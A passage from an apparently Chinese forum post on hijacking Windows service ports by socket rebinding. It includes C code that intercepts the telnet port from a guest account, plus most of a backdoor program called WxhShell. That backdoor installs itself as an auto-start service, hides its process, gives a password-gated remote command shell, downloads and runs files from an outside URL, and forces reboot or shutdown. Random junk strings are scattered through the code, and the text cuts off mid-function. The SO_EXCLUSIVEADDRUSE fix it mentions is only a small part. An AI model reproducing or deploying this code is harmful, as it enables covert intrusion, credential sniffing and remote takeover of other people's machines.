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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: [|3>MZ2/  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5Fm=/o1  
GBC*>Y  
  saddr.sin_family = AF_INET; N=)z  
Q9`QL3LQD  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); a%Jx `hx  
35*\_9/#  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); LN_OD5gZ  
tB' V  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 VNtPKtx\  
,[nm_^R*\  
  这意味着什么?意味着可以进行如下的攻击: S-nlr@w8  
U\?g*  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 g3%t8O/M  
CC3v%^81l^  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) l#wdpD a{  
h !(>7/Gi  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 zK+52jhi  
OW(&s,|6x  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  <[/%{sUNC  
ozr9>b>M  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 )2E%b+"  
#DkD!dW(l  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 l48k<  
1 Ee>S\9t  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 xDO7A5  
gX?n4Csy'  
  #include jRpdft  
  #include 2~;&g?T6  
  #include 0%;146.p  
  #include    )Os Lrq/  
  DWORD WINAPI ClientThread(LPVOID lpParam);   s/1 #DM"  
  int main() YO:&;K%  
  { jec:i-,  
  WORD wVersionRequested; `4CWE_k  
  DWORD ret; WnAd5#G  
  WSADATA wsaData; I}Xg &-L  
  BOOL val; K$REZe  
  SOCKADDR_IN saddr; )DUL)S  
  SOCKADDR_IN scaddr; L6i|:D32p  
  int err; %E27.$E_  
  SOCKET s; ~-F?Mc  
  SOCKET sc; uC]Z8&+obb  
  int caddsize; 7=*VpX1  
  HANDLE mt; [Id}4[={e  
  DWORD tid;   IGAzE(  
  wVersionRequested = MAKEWORD( 2, 2 ); n`;R pr&  
  err = WSAStartup( wVersionRequested, &wsaData ); O:.,+,BH  
  if ( err != 0 ) { i`O rMzL  
  printf("error!WSAStartup failed!\n"); qU[O1bN  
  return -1; !|m9|  
  } ! ]Mc4!E  
  saddr.sin_family = AF_INET; 9''p[V.3  
   1:= `Y@.S  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 YJ2ro-X  
[]&(D_e"  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ,dd WBwMK  
  saddr.sin_port = htons(23); aN^IP  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) lz~J"$b  
  { s([Wn)I  
  printf("error!socket failed!\n"); <2P7utdZ  
  return -1; chAan~r[*  
  } (=T$_-Dj`}  
  val = TRUE; i!MwBYk  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 <5Mrp"C[i  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) }G1&]Wt_  
  { I*1S/o_xI  
  printf("error!setsockopt failed!\n"); Eo{EKI1  
  return -1; o+g4p:Mf  
  } wy4q[$.4v  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; zb2K;%Qs+f  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 g*]E>SQ=  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 a`Z{ xme =  
Z-|li}lDr  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) iG[? ]]  
  { Y~"9L|`f/  
  ret=GetLastError(); wTpD1"_R  
  printf("error!bind failed!\n"); @PcCiGZ  
  return -1; nJVp.*S  
  } MMD<I6Iyv  
  listen(s,2); zd`=Ih2Wx  
  while(1) Gz dgL"M[  
  {  ?B4#f!X  
  caddsize = sizeof(scaddr); (Imp $  
  //接受连接请求 IG / $!* E  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); M<qudi  
  if(sc!=INVALID_SOCKET) Rk<%r k  
  { DA LQ<iF  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); EE%s<_k`  
  if(mt==NULL) M g!ra"  
  { bx(w :]2  
  printf("Thread Creat Failed!\n"); M@^U 0 ?  
  break; =&0U`P$`  
  } o1YU_k<#  
  } xVR:; Jy[  
  CloseHandle(mt); $ly0h W  
  } }~*rx7p  
  closesocket(s); ~+m,im8}  
  WSACleanup(); 9)Yw :  
  return 0; 6D9o08  
  }   hmGdjw t$  
  DWORD WINAPI ClientThread(LPVOID lpParam) vbn>mg5  
  {  a8h]n:!  
  SOCKET ss = (SOCKET)lpParam; z/vDgH!s  
  SOCKET sc; org*z!;.   
  unsigned char buf[4096]; r69WD .  
  SOCKADDR_IN saddr; 9oq)X[  
  long num; 5V|tXsy:  
  DWORD val; I>((o`  
  DWORD ret; g[!Cj,  
  //如果是隐藏端口应用的话,可以在此处加一些判断 C.E[6$oVc  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   uJPH~mdW   
  saddr.sin_family = AF_INET; 4Vx+[8W  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); "3t\em!  
  saddr.sin_port = htons(23); ;? 8Iys#  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {aJz. `u\  
  { z]>9nv`b  
  printf("error!socket failed!\n"); {mYx  
  return -1; #'NY}6cb$  
  } KF$%q((  
  val = 100; R]=SWE}U  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) MhH);fn  
  { Z1]"[U[;  
  ret = GetLastError(); q)Je.6$#X  
  return -1; WOH9%xv  
  } {U P_i2`.  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) fNEz  
  { |E|T%i^}./  
  ret = GetLastError(); qP`?M\!O  
  return -1; Xa Gz].Sv  
  } /'+4vXc@  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 0=,'{Vz}A  
  { &enlAV'#)O  
  printf("error!socket connect failed!\n"); s=\7)n=,M  
  closesocket(sc); em/Xu  
  closesocket(ss); 2B'^`>+8S  
  return -1; *dVD  
  } F`D 9Zfd  
  while(1) Nz @8  
  { !pS~'E&q  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 v|To+ P6b  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录  . X0t"  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 K-<n`zg3  
  num = recv(ss,buf,4096,0); ./)j5M  
  if(num>0) J/gQQ. s  
  send(sc,buf,num,0); 1Q_ ``.M  
  else if(num==0) 7 NUenCdc  
  break; WFpl1O73  
  num = recv(sc,buf,4096,0); 6)+9G_  
  if(num>0) &"O_wd[+:  
  send(ss,buf,num,0); 4I1K vN<A  
  else if(num==0) Znq(R8BMW  
  break; )x9]xqoR  
  } iDR6?fP  
  closesocket(ss); oP,RlR  
  closesocket(sc); 9H8=eJd  
  return 0 ; DoTs9w|5  
  } (>r|j4$  
bN4d:0Y  
T/5nu?v  
========================================================== *<CxFy;|  
Obg@YIwn  
下边附上一个代码,,WXhSHELL %g5jY%dg.r  
@6[x%j/!bt  
========================================================== l^BEFk;  
\)s3b/oap  
#include "stdafx.h" 9OhR4 1B  
r"1A`89  
#include <stdio.h> c_[ JjG^?P  
#include <string.h> XNK 43fkB.  
#include <windows.h> e)b r`CD%  
#include <winsock2.h> M;> ha,x  
#include <winsvc.h> {z-NlH  
#include <urlmon.h> }7&\eV{qU  
4Z],+?.[  
#pragma comment (lib, "Ws2_32.lib") H7J`]nr6  
#pragma comment (lib, "urlmon.lib") $TFTIk*uU  
lWIv(%/@  
#define MAX_USER   100 // 最大客户端连接数 @#1cx  
#define BUF_SOCK   200 // sock buffer I@+lFG   
#define KEY_BUFF   255 // 输入 buffer ,$o-C&nC  
_4~k3%w\`l  
#define REBOOT     0   // 重启 gnYnL8l`J  
#define SHUTDOWN   1   // 关机 e=-YP8l  
j5'.P~  
#define DEF_PORT   5000 // 监听端口 2;O  c^  
T?Z OHH8  
#define REG_LEN     16   // 注册表键长度 %pd5w~VP  
#define SVC_LEN     80   // NT服务名长度 ?#U0eb5u  
0\QYf0o   
// 从dll定义API |@OJ~5H/{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); O&F< oM  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); nO-d" S*  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2}GKHC  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); G) jG!`I  
[6oq##  
// wxhshell配置信息 IBzHR[#,^  
struct WSCFG { O5c_\yv=  
  int ws_port;         // 监听端口 EP/&m|o|G  
  char ws_passstr[REG_LEN]; // 口令 5wy;8a  
  int ws_autoins;       // 安装标记, 1=yes 0=no fHW-Je7mG  
  char ws_regname[REG_LEN]; // 注册表键名 %!>k#F^S  
  char ws_svcname[REG_LEN]; // 服务名 s }Xi2^x  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 d 4[poi ~  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 2f s9JP{^0  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `x5ll;"J  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $Gr4sh!cE  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" e1:u1(".  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 a"MTQFm'  
Cl%V^xTb  
}; yIM.j;5:~5  
yl[2et  
// default Wxhshell configuration b;SFI^  
struct WSCFG wscfg={DEF_PORT, YL; SxLY  
    "xuhuanlingzhe", ,ZLG7e  
    1, /IrKpmbq  
    "Wxhshell", L;L2j&i%v)  
    "Wxhshell", 9Kq<\"7Bmz  
            "WxhShell Service", 2#,8evH  
    "Wrsky Windows CmdShell Service", =mDy@%yx!  
    "Please Input Your Password: ", IJ+O),'  
  1, ~:R4))qpg  
  "http://www.wrsky.com/wxhshell.exe", W^-hMT]uD  
  "Wxhshell.exe" hQ\#Fhu7  
    }; -Mit$mFn  
39'X$!  
// 消息定义模块 7)g;Wd+H  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Iwnj'R7:  
char *msg_ws_prompt="\n\r? for help\n\r#>"; `#-p,NElV  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -Pv P  
char *msg_ws_ext="\n\rExit."; ,^UcRZ8.H  
char *msg_ws_end="\n\rQuit."; bEBZ!ghU  
char *msg_ws_boot="\n\rReboot..."; h[vAU 9f)  
char *msg_ws_poff="\n\rShutdown..."; ke{DFq h  
char *msg_ws_down="\n\rSave to "; $Vd?K@W[h  
qb#V)  
char *msg_ws_err="\n\rErr!"; _SU,f>  
char *msg_ws_ok="\n\rOK!"; lr)G:I#|  
$IZ *|>(  
char ExeFile[MAX_PATH]; s0x@ u  
int nUser = 0; kfH9Y%bOy  
HANDLE handles[MAX_USER]; !NlB%cF  
int OsIsNt; ]W89.><%14  
n=lggBRx  
SERVICE_STATUS       serviceStatus; c80"8r  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; D N2hv2  
C@l +\M(  
// 函数声明 Zw3hp,P]  
int Install(void); tyBg7dP  
int Uninstall(void); F(0pru4u  
int DownloadFile(char *sURL, SOCKET wsh); a,en8+r ]  
int Boot(int flag); #c8"  
void HideProc(void); C?_t8G./_  
int GetOsVer(void); &utS\-;G  
int Wxhshell(SOCKET wsl); Pl`Bd0  
void TalkWithClient(void *cs); W$x K^}  
int CmdShell(SOCKET sock); n^g-`  
int StartFromService(void); >KH(nc$  
int StartWxhshell(LPSTR lpCmdLine); !XG/,)A  
{ &6l\|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [346w <  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Th I  
$D0)j(v  
// 数据结构和表定义 0B#rqTEKu  
SERVICE_TABLE_ENTRY DispatchTable[] =  mP`,I"u  
{ #t5JUi%in*  
{wscfg.ws_svcname, NTServiceMain}, >d1aE)?  
{NULL, NULL} {|t?   
}; /9t*CEu\  
7z0;FW3>9  
// 自我安装 \`p|,j  
int Install(void) X"]mR7k  
{ '6Rs0__  
  char svExeFile[MAX_PATH]; z. Ve#~\  
  HKEY key; q[We][Nrzb  
  strcpy(svExeFile,ExeFile); 2=/-d$  
zmrX %!CW  
// 如果是win9x系统,修改注册表设为自启动 Y6[]wUJ  
if(!OsIsNt) { DU*Hnii  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { exa}dh/uC  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j[Hg]  
  RegCloseKey(key); DVeF(Y3&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @Reh?]# v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P^o"PKA  
  RegCloseKey(key); j:\_*f  
  return 0; =qVAvo'  
    } KJ05Zx~uma  
  } Rwi5+;N  
} ,sy / r V  
else { \f<thd*bC  
*axza~d  
// 如果是NT以上系统,安装为系统服务 =#PudF.\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); a*e|>pDO  
if (schSCManager!=0) >ZOZv  
{ ;9- 4J  
  SC_HANDLE schService = CreateService 's%ct}y\J  
  ( ir1RAmt%  
  schSCManager, Jq=>H@il  
  wscfg.ws_svcname, Qcy+ {j]  
  wscfg.ws_svcdisp, ;_;H(%uY  
  SERVICE_ALL_ACCESS, NEjB jLJZ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , j2C^1:s@m  
  SERVICE_AUTO_START, ^{:[^$f:l  
  SERVICE_ERROR_NORMAL, s^x , S  
  svExeFile, *jqPKK/  
  NULL, '!2  
  NULL, 'j =PbA  
  NULL, 4'u|L&ow  
  NULL, .x9nWa  
  NULL |7 W6I$Xl  
  ); >O[^\H!\  
  if (schService!=0) ]mDsUZf<  
  { V0wC@?  
  CloseServiceHandle(schService); .(.G`aKnF  
  CloseServiceHandle(schSCManager); g^|_X1{  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); SJY"]7  
  strcat(svExeFile,wscfg.ws_svcname); T<_1|eH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { e^ K=8IW  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Yc( )'6  
  RegCloseKey(key); A?<"^<A^  
  return 0; gJ}'O4*b  
    } ;L/T}!Dx  
  } m'vOFP)'  
  CloseServiceHandle(schSCManager);  I$sm5oL  
} EXScqGa]  
} G5Dji_|  
c~u F  
return 1; KfI$'F #"/  
} EJiF_  
U#^:f7-$.  
// 自我卸载 I n%yMH8  
int Uninstall(void) 1Y"y!\t7G  
{ GCmVmOdKr  
  HKEY key; 7H@Cy}a  
zz''FmedF  
if(!OsIsNt) { (\[!,T"[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { EEnTq  
  RegDeleteValue(key,wscfg.ws_regname); (]# JpQ  
  RegCloseKey(key); "q#kh,-C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9\;/-0P  
  RegDeleteValue(key,wscfg.ws_regname); Y3F.hk}O  
  RegCloseKey(key); 41_sSqq;^  
  return 0; ,t,65@3+b  
  } K,T]Fuy  
} X+G*Q}5  
} Vu8-Cy>Q?  
else { >ww1:Sn  
R^w >aZ oJ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ?VHwYD.B  
if (schSCManager!=0) >w2WyYJYH  
{ p9bxhnn|  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); B7^n30+L  
  if (schService!=0) h4xf%vA(;  
  { %EhU!K#[  
  if(DeleteService(schService)!=0) { )#TJw@dNf^  
  CloseServiceHandle(schService); ?&bVe__  
  CloseServiceHandle(schSCManager); EYj2h .k  
  return 0; %QcG^R  
  } DT~y^h  
  CloseServiceHandle(schService); 9kiy^0 7G  
  } [(ib9_`A'1  
  CloseServiceHandle(schSCManager); Hw-oh?=  
} < $/Yw   
} rcb/X`l=  
rG'k<X~7  
return 1; ?z36mj"`o  
} i /U{dzZ  
a5g{.:NfO  
// 从指定url下载文件 RwLdV+2\R`  
int DownloadFile(char *sURL, SOCKET wsh) ^oZs&+z  
{ L,ey3i7a\  
  HRESULT hr; 61;5Yo  
char seps[]= "/"; q|_ 5@Ly  
char *token; !ES#::;z?  
char *file; LR?#H)$  
char myURL[MAX_PATH]; vnOF$6n  
char myFILE[MAX_PATH]; SNV+.xN  
CX2q7azG  
strcpy(myURL,sURL); z Clm'X/  
  token=strtok(myURL,seps); YuW\GSV00  
  while(token!=NULL) E MbI\=>yS  
  { &:{yf=  
    file=token; dK`O,[}  
  token=strtok(NULL,seps); ?At-   
  } EJ|ZZYke!  
!ZcA Ltq  
GetCurrentDirectory(MAX_PATH,myFILE); hLA=7  
strcat(myFILE, "\\"); v=^)`C6Ma  
strcat(myFILE, file); yxq!. 72  
  send(wsh,myFILE,strlen(myFILE),0); h |  
send(wsh,"...",3,0); R$3+ 01j|  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); x \{jWR%  
  if(hr==S_OK) PH=8'GN  
return 0; #j5^/*XW  
else 5?Ao9Q]@  
return 1; s9dBXfm  
!f2>6}hE  
} ]$*_2V3VA$  
D#AxgF_He  
// 系统电源模块 `I:,[3_/   
int Boot(int flag) +004 2Yi  
{ LOo#  
  HANDLE hToken; WYUU-  
  TOKEN_PRIVILEGES tkp; s8O+&^(U  
WkmS   
  if(OsIsNt) { :Fk&2WsW:  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); U} h |Zk  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); VrP%4P+  
    tkp.PrivilegeCount = 1; oW9rl]+  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; gVWLY;c 3}  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); QVhBHAw  
if(flag==REBOOT) { c>k6i?u:X7  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) pAL-P l9z  
  return 0; `-\JjMSQ1  
} \Vq;j 1  
else { `215Llzk;  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) he6) L6T  
  return 0; %'< qhGJ  
} PQay sdb  
  } +u.L6GcB  
  else { f%l#g]]  
if(flag==REBOOT) { : s3Vl  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9e6{(  
  return 0; NP/2gjp  
} 51usiOq  
else { :S2MS{>Mo  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) L zy|<:K+$  
  return 0; MM7gMAA.mz  
} p0@mumh  
} <6$%Y2  
]<_+uciP5[  
return 1; t`{Fnf  
} hidweg*7  
t0(hc7`  
// win9x进程隐藏模块 ,5WDYk-  
void HideProc(void) <:o><f+  
{ XcneH jpR  
$*ZHk0 7x  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Re>e|$.T  
  if ( hKernel != NULL ) }_TdXY #w\  
  { 8h 2?Q  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 'IszS!kY  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); mY9K)]8  
    FreeLibrary(hKernel); HN)QS5  
  } &*-2k-16  
=V4!t|(7  
return; ybkN^OEJ  
} [ V~bo/n  
|-<L :%  
// 获取操作系统版本 0^^i=iE-u  
int GetOsVer(void) YO61 pZY  
{ aT[7L9Cw  
  OSVERSIONINFO winfo; sP!qv"u  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); mer{Jy s  
  GetVersionEx(&winfo); Rl8-a8j$f.  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~VKXL,.  
  return 1; $T0[  
  else sP7(1)\  
  return 0; 2e=Hjf )  
} $4]PN2d&  
gd*?kXpt  
// 客户端句柄模块 9x\G(w  
int Wxhshell(SOCKET wsl) @TDcj~oR ?  
{ FT=>haN  
  SOCKET wsh; 3dLz=.=)'  
  struct sockaddr_in client; v8[1E>&vx  
  DWORD myID; $%'z/'o!  
!8].Z"5J  
  while(nUser<MAX_USER) ?HTwTi 5!)  
{ bHM .&4G  
  int nSize=sizeof(client); biD7(AK  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); f ;JSP  
  if(wsh==INVALID_SOCKET) return 1; RCr:2 Iz  
i :72FVo  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8!fw Xm  
if(handles[nUser]==0) ,5 ,4Qf7  
  closesocket(wsh); 0XNb@ogo  
else &2J|v#$F  
  nUser++; :W"ITY(  
  } 2)YLs5>W%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5**xU+&  
ua-p^X`w  
  return 0; y C#{nUdw  
} 511q\w M  
I6_+3}Hm{  
// 关闭 socket oxZ(qfjS  
void CloseIt(SOCKET wsh) ~c"c9s+o  
{ y-mmc}B>N  
closesocket(wsh); ej `$-hBBV  
nUser--; t~Ax#H  
ExitThread(0); &XP 0  
} "-sz7}Mb  
3 a`-_<  
// 客户端请求句柄 8*X8U:.0o  
void TalkWithClient(void *cs) K"61i:F  
{ q!4dK4`#5  
Wu(GC]lTG  
  SOCKET wsh=(SOCKET)cs; E;N8{Ye_  
  char pwd[SVC_LEN]; F(9T;F  
  char cmd[KEY_BUFF]; <Coh &g_  
char chr[1]; *0@e_h  
int i,j; /VQ<}S[k}-  
x,+zw9  
  while (nUser < MAX_USER) {  hT[O5  
vEkz 5$  
if(wscfg.ws_passstr) { vjb{h'v  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :Pv{ E  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); js j" W&J  
  //ZeroMemory(pwd,KEY_BUFF); LCt m@oN  
      i=0; Ue7~rPdlR  
  while(i<SVC_LEN) { '4iu0ie>D  
c<=1,TB"-_  
  // 设置超时 'E9jv4E$n  
  fd_set FdRead; i \~4W$4I  
  struct timeval TimeOut; o9CB ,c7]  
  FD_ZERO(&FdRead); (DU{o\=  
  FD_SET(wsh,&FdRead); '@FKgy;B)-  
  TimeOut.tv_sec=8; w[iQndu  
  TimeOut.tv_usec=0; WG,{:|!E  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); IaB A2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #X+)  
6m9Z5:xG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); B!Y;VdX  
  pwd=chr[0]; SFHa(JOS  
  if(chr[0]==0xd || chr[0]==0xa) { [M.Vu  
  pwd=0; > 01k u  
  break; I/adzLQ  
  } J GdVSjNC  
  i++; d 9|u~3  
    } PF~&!~S>W  
4D8q Gti  
  // 如果是非法用户,关闭 socket f`Nu]#i  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {,m!%FDL  
} L_(|5#IDw  
I?=Q *og  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @S{,g;8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }.#C9<"}  
rfk';ph  
while(1) { QL3%L8  
#/aWG  x_  
  ZeroMemory(cmd,KEY_BUFF); j JW0a\0  
x|Dj   
      // 自动支持客户端 telnet标准   : v]< h  
  j=0; 6i%)'dl  
  while(j<KEY_BUFF) { _$\T;m>'A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ky+TgR  
  cmd[j]=chr[0]; MxYCMe4S[  
  if(chr[0]==0xa || chr[0]==0xd) { qz 'a.]{=  
  cmd[j]=0; Wl1%BN0>  
  break; 2axH8ONMu  
  } c7'Pzb)'  
  j++; W];4P=/  
    } VGSe<6Hh  
G2mv6xK'  
  // 下载文件 a 3H S!/  
  if(strstr(cmd,"http://")) { XG0,@Ly  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); tw;`H( UZ^  
  if(DownloadFile(cmd,wsh))  H='`#l1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); [p(Y|~  
  else :)+cI?\#  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Tsa&R:SE  
  } 9s}--_k?F2  
  else { 5)}xqE"x  
:Z<-J`  
    switch(cmd[0]) { ]p~XTZgW  
  _vad>-=D*U  
  // 帮助 A2xORG&FD  
  case '?': { 18Ty )7r'  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Es?~Dd  
    break; $]O\Ryf6  
  } :g Ze>  
  // 安装 &.d~ M1Mz  
  case 'i': { aFLm,  
    if(Install()) %;gD_H4mm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R\iU)QP  
    else U!('`TYe  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _c[t.\-`]  
    break; h4V.$e<T&  
    } c| E  
  // 卸载 k1X<jC]P  
  case 'r': { ) +{'p0  
    if(Uninstall()) C; ! )<(Vw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |XeuqZa  
    else zdr?1=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7.]ZD`"Bb  
    break; gbF.Q7?$u  
    } JTVCaL3Z  
  // 显示 wxhshell 所在路径 tL D.e  
  case 'p': { AE@*#47  
    char svExeFile[MAX_PATH]; =_,w<  
    strcpy(svExeFile,"\n\r"); J6jrtLh  
      strcat(svExeFile,ExeFile); X _XqT  
        send(wsh,svExeFile,strlen(svExeFile),0); T1Xm^{  
    break; k)4   
    } ~dC^|  
  // 重启 )5B90[M|t  
  case 'b': { ) ~X\W\  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); pmfyvkLS  
    if(Boot(REBOOT)) C0'Tua'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m@OgT<E]_  
    else { c" yf>0  
    closesocket(wsh); >zXw4=J  
    ExitThread(0); 9^`G `D  
    } D>05F,a  
    break; *K!V$8k=99  
    } 1h|JKu0  
  // 关机 QGfU:  
  case 'd': { k0%4&pU  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *2@Ne[dYEF  
    if(Boot(SHUTDOWN)) i4AmNRs  
